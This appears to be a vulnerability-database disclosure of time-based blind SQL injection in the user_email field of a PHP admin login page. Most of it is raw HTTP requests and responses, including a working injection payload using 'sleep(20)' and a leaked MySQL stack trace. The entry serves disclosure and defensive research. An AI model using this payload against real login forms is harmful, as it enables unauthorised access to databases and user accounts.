Attacker Value
Very High
3
CVE-nu11-101821
3
CVE ID
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Attacker Value
Very High
(1 user assessed)
Exploitability
Very High
(1 user assessed)User Interaction
Unknown
Privileges Required
Unknown
Attack Vector
Unknown
3
CVE-nu11-101821
Last updated October 18, 2021 ▾
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Description
Description:
The user_email parameter appears to be vulnerable to SQL injection attacks Time-based Blind.
A single quote was submitted in the user_email parameter, and a general error message was returned.
Two single quotes were then submitted and the error message disappeared.
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1
Ratings
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Attacker ValueVery High
-
ExploitabilityVery High
Technical Analysis
CVE-nu11-101821
Vendor
MySQL Request-1:
POST /caiwl/admin/login.php HTTP/1.1 Host: 192.168.1.4 Origin: http://192.168.1.4 Cookie: PHPSESSID=8qen88airh7u0ai06ijhk96a21 Upgrade-Insecure-Requests: 1 Referer: http://192.168.1.4/caiwl/admin/login.php Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en-US,en-GB;q=0.9,en;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Connection: close Cache-Control: max-age=0 Content-Length: 90 user_email=IlZWXHcK@nu11secur1tycollaborator.net'&user_pass=m2G%21b5m%21D8&btnLogin=%C2%9E%C3%A9e
MySQL Response-1:
Response 1 HTTP/1.1 200 OK Date: Mon, 18 Oct 2021 07:42:37 GMT Server: Apache/2.4.51 (Win64) OpenSSL/1.1.1l PHP/7.4.24 X-Powered-By: PHP/7.4.24 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Content-Length: 7099 Connection: close Content-Type: text/html; charset=UTF-8 <!-- Bootstrap core CSS --> <!DOCTYPE html> <html lang="en"> <head> <title>Login V18</title> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initi ...[SNIP]... <b>Fatal error</b>: Uncaught Error: Call to undefined function mysql_error() in C:\xampp\htdocs\caiwl\include\accounts.php:28 Stack trace: #0 C:\xampp\htdocs\caiwl\admin\login.php(165): User::userAuthentication('IlZWXHcK@burpco...', '0314337dea4e6aa...') #1 {main} thrown in <b> ...[SNIP]...
MySQL Request-2:
POST /caiwl/admin/login.php HTTP/1.1 Host: 192.168.1.4 Origin: http://192.168.1.4 Cookie: PHPSESSID=8qen88airh7u0ai06ijhk96a21 Upgrade-Insecure-Requests: 1 Referer: http://192.168.1.4/caiwl/admin/login.php Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en-US,en-GB;q=0.9,en;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Connection: close Cache-Control: max-age=0 Content-Length: 90 user_email=ICpueGIm@nu11secur1tycollaborator.net''&user_pass=g1M%21g9l%21F1&btnLogin=%C2%9E%C3%A9e
MySQL Response-2
HTTP/1.1 200 OK Date: Mon, 18 Oct 2021 07:42:40 GMT Server: Apache/2.4.51 (Win64) OpenSSL/1.1.1l PHP/7.4.24 X-Powered-By: PHP/7.4.24 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Content-Length: 6832 Connection: close Content-Type: text/html; charset=UTF-8 <!-- Bootstrap core CSS --> <!DOCTYPE html> <html lang="en"> <head> <title>Login V18</title> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initi ...[SNIP]...
MySQL Request-3
POST /caiwl/admin/login.php HTTP/1.1 Host: 192.168.1.4 Origin: http://192.168.1.4 Cookie: PHPSESSID=8qen88airh7u0ai06ijhk96a21 Upgrade-Insecure-Requests: 1 Referer: http://192.168.1.4/caiwl/admin/login.php Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en-US,en-GB;q=0.9,en;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Connection: close Cache-Control: max-age=0 Content-Length: 90 user_email=QXVzAYzI@nu11secur1tycollaborator.net'%2b(select*from(select(sleep(20)))a)%2b'&user_pass=u0U%21y2z%21D9&btnLogin=%C2%9E%C3%A9e
MySQL Response-3
HTTP/1.1 200 OK Date: Mon, 18 Oct 2021 07:42:51 GMT Server: Apache/2.4.51 (Win64) OpenSSL/1.1.1l PHP/7.4.24 X-Powered-By: PHP/7.4.24 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Content-Length: 6811 Connection: close Content-Type: text/html; charset=UTF-8 <!-- Bootstrap core CSS --> <!DOCTYPE html> <html lang="en"> <head> <title>Login V18</title> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initi ...[SNIP]...
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Offensive Application
exploit
Utility Class
privesc
Ports
Unknown
OS
Unknown
Vulnerable Versions
Unknown
Prerequisites
Unknown
Discovered By
nu11secur1ty
PoC Author
Unknown
Metasploit Module
Unknown
Reporter
nu11secur1ty
References
Additional Info
Authenticated
Always
Exploitable
Always
Reliability
Very Weak
Stability
Very Weak
Available Mitigations
Very Weak
Shelf Life
Very Short
Userbase/Installbase
Very Small
Patch Effectiveness
Very Low
Rapid7
Technical Analysis
Report as Emergent Threat Response
Report as Exploited in the Wild
CVE ID
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